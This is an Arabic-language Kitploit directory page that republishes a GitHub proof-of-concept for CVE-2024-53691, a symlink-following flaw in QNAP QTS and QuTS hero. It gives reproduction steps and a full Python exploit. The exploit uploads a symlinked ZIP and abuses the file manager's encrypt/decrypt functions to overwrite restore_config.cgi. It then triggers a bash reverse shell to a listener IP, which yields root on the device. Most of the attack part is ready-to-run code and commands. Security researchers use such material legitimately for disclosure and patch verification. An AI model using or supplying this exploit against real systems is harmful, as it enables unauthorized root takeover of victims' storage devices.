Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-53691 — CVE-2024-53691 | Kitploit
أدوات/GitHubGitHub/c411e/cve-2024-53691
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالفريق الأحمرأداة الوصول عن بعدتطوير الحمولات
GitHubc411e/cve-2024-53691

CVE-2024-53691

CVE-2024-53691

عرض المستودع
153منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2024-53691

  • https://www.qnap.com/en/security-advisory/qsa-24-28
  • https://www.cve.org/CVERecord?id=CVE-2024-53691
  • CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N (8.7)

"إذا تم استغلاله، فإن ثغرة تتبع الارتباط (link following) قد تسمح للمهاجمين عن بُعد الذين حصلوا على صلاحيات مستخدم بعبور نظام الملفات إلى مواقع غير مقصودة."

تاريخ الاكتشاف: 22 أبريل 2024
تاريخ الإصلاح: 7 سبتمبر 2024
الإصدارات المتأثرة: QTS 5.1.x، QuTS hero h5.1.x
الإصدارات التي تم إصلاحها: QTS 5.2.0.2802 build 20240620 وما بعده، QuTS hero h5.2.0.2802 build 20240620 وما بعده
صلاحيات الوصول: مستخدم عادي مع صلاحية رفع الملفات

المُلخص:
من الممكن رفع رابط رمزي (symlink) عبر ملف ZIP وإساءة استخدام وظيفة التشفير/فك التشفير للحصول على إمكانية كتابة ملف عشوائي يمكن تحويلها إلى تنفيذ كود عن بُعد.
يمكن للمهاجم الذي يتمتع بصلاحيات مستخدم عادي استغلال الثغرة للحصول على تنفيذ كود كمستخدم جذر واختراق النظام بالكامل.

خطوات إعادة الإنتاج

  1. إنشاء رابط رمزي ووضعه في ملف ZIP. يحدد هدف الرابط الرمزي الملف الذي سيتم استبداله. لتحقيق تنفيذ الكود عن بُعد، تم اختيار /home/httpd/cgi-bin/restore_config.cgi.

    root@kitploit:~
    ln -s /home/httpd/cgi-bin/restore_config.cgi link.txt
    zip --symlink pwn.zip link.txt
    
  2. كتابة أوامر shell التي سيتم تنفيذها في payload.txt. يتم استخدام شيل عكسي (reverse shell) قياسي في bash في هذا المثال. لا تنسَ تعديل IP المنفذ للمستمع.

    root@kitploit:~
    #!/bin/sh
    bash -c "bash -i >& /dev/tcp/192.168.178.142/4444 0>&1" &
    . /home/httpd/cgi-bin/json_output
    output_http_header
    output_header
    output_save_restore
    output_tail
    
  3. تسجيل الدخول كمستخدم بصلاحيات منخفضة.

  4. رفع ملف ZIP عبر الواجهة الويب.

  5. استخراج ملف ZIP بالضغط بزر الماوس الأيمن واختيار استخراج إلى /pwn/.

  6. رفع payload.txt إلى /pwn/payload.txt.

    الملفات المرفوعة

  7. تشفير payload.txt بالضغط بزر الماوس الأيمن، واختيار تشفير، وضبط هل تريد تشفير واستبدال الملف الأصلي؟ على نعم.

  8. إعادة تسمية الملف payload.txt.qenc إلى link.txt.qenc بالضغط بزر الماوس الأيمن واختيار إعادة تسمية.

  9. فك تشفير الملف link.txt.qenc بالضغط بزر الماوس الأيمن، واختيار فك تشفير، وضبط الوضع على استبدال.

  10. بدء مستمع الشيل العكسي الخاص بك.

    root@kitploit:~
    nc -nvlp 4444
    
  11. فتح نقطة النهاية /cgi-bin/restore_config.cgi في متصفحك لتفعيل تنفيذ الشيل العكسي.

    شيل عكسي كمدير

إثبات المفهوم

يمكن استخدام النص البرمجي التالي بلغة Python لاستغلال الثغرة.

root@kitploit:~
#!/usr/bin/env python3
from requests import Session
import base64
import os
import re
import time
import urllib3

# adjust following variables
ENDPOINT = 'https://192.168.178.156'
USERNAME = 'victim'
PASSWORD = 'Victim123!'
LISTENER_IP = '192.168.178.142'
LISTENER_PORT = 4444
PAYLOAD = f"""#!/bin/sh
bash -c "bash -i >& /dev/tcp/{LISTENER_IP}/{LISTENER_PORT} 0>&1" &
. /home/httpd/cgi-bin/json_output
output_http_header
output_header
output_save_restore
output_tail
"""
#DEBUG_PROXY = 'http://localhost:8080'

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def main() -> None:
    session = Session()
    #session.proxies.update(http=DEBUG_PROXY, https=DEBUG_PROXY)
    session.verify = False

    print('creating zip file')
    os.system("""
        rm -f link.txt pwn.zip payload.txt
        ln -s /home/httpd/cgi-bin/restore_config.cgi link.txt
        zip --symlink pwn.zip link.txt
    """)

    print('loggin in')
    response = session.post(
        f'{ENDPOINT}/cgi-bin/authLogin.cgi',
        headers={'Content-type': 'application/x-www-form-urlencoded'},
        data={'user': USERNAME, 'serviceKey': '1', 'client_app': 'Web Desktop', 'dont_verify_2sv_again': '0', 'pwd': base64.b64encode(PASSWORD.encode('ascii')).decode('ascii'), 'client_id': '2b491dc6-6542-480d-a3a2-bbe3b433b764'},
    )
    assert response.status_code == 200
    match = re.search(r'<authSid><!\[CDATA\[(.*?)\]\]></authSid>', response.text)
    assert match
    sid = match.group(1)

    print('uploading zip file')
    with open('pwn.zip', 'rb') as file:
        upload_file(session, sid, 'pwn.zip', file.read())

    print('unpacking zip file')
    response = session.post(
        f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=extract&sid={sid}',
        headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'},
        data={'mode': 'extract_all', 'pwd': '', 'path_mode': 'full', 'extract_file': '/home/pwn.zip', 'code_page': 'UTF-8', 'overwrite': '1', 'dest_path': '/home/pwn'},
    )
    assert response.status_code == 200
    data = response.json()
    assert data['status'] == 1


    time.sleep(5)

    print('uploading payload file')
    upload_file(session, sid, 'pwn/payload.txt', str.encode(PAYLOAD))

    print('encrypting payload file')
    response = session.post(
        f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=cipher&sid={sid}&subfunc=encrypt',
        headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'},
        data={'passwd': 'test', 'dest_path': '/home', 'source_total': '1', 'source_path': '/home', 'source_file': 'pwn/payload.txt', 'mode': '0', 'keep': '1'},
    )
    assert response.status_code == 200
    data = response.json()
    assert data['status'] == 1

    print('renaming payload file')
    response = session.post(
        f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=rename&sid={sid}',
        headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'},
        data={'path': '/home/pwn', 'source_name': 'payload.txt.qenc', 'dest_name': 'link.txt.qenc'},
    )
    assert response.status_code == 200
    data = response.json()
    assert data['status'] in (1, 2)

    print('decrypting payload file')
    response = session.post(
        f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=cipher&sid={sid}&subfunc=decrypt',
        headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'},
        data={'passwd': 'test', 'dest_path': '/home/pwn', 'source_total': '1', 'source_path': '/home/pwn', 'source_file': 'link.txt.qenc', 'mode': '0'},
    )
    assert response.status_code == 200
    data = response.json()
    assert data['status'] == 1

    time.sleep(1)
    print('executing payload') 
    session.get(f'{ENDPOINT}/cgi-bin/restore_config.cgi')


def upload_file(session: Session, sid: str, filename: str, content: bytes) -> None:
    # get upload id
    response = session.post(f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi', headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'}, data={'upload_root_dir': '/home', 'func': 'start_chunked_upload', 'sid': sid})
    assert response.status_code == 200
    data = response.json()
    upload_id = data['upload_id']
    assert upload_id

    # upload file
    response = session.post(
        f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=chunked_upload&sid={sid}&dest_path=%2Fhome&mode=1&dup=Copy&upload_root_dir=%2Fhome&upload_id={upload_id}&offset=0&filesize={len(content)}&upload_name={filename}&settime=1&mtime=1713395222&overwrite=1&multipart=0',
        files=(
            ('fileName', (None, filename.encode('ascii'))),
            ('file', ('blob', content, 'application/octet-stream')),
        ),
    )
    assert response.status_code == 200
    data = response.json()
    assert data['status'] == 1


if __name__ == '__main__':
    main()
تنزيل الأداة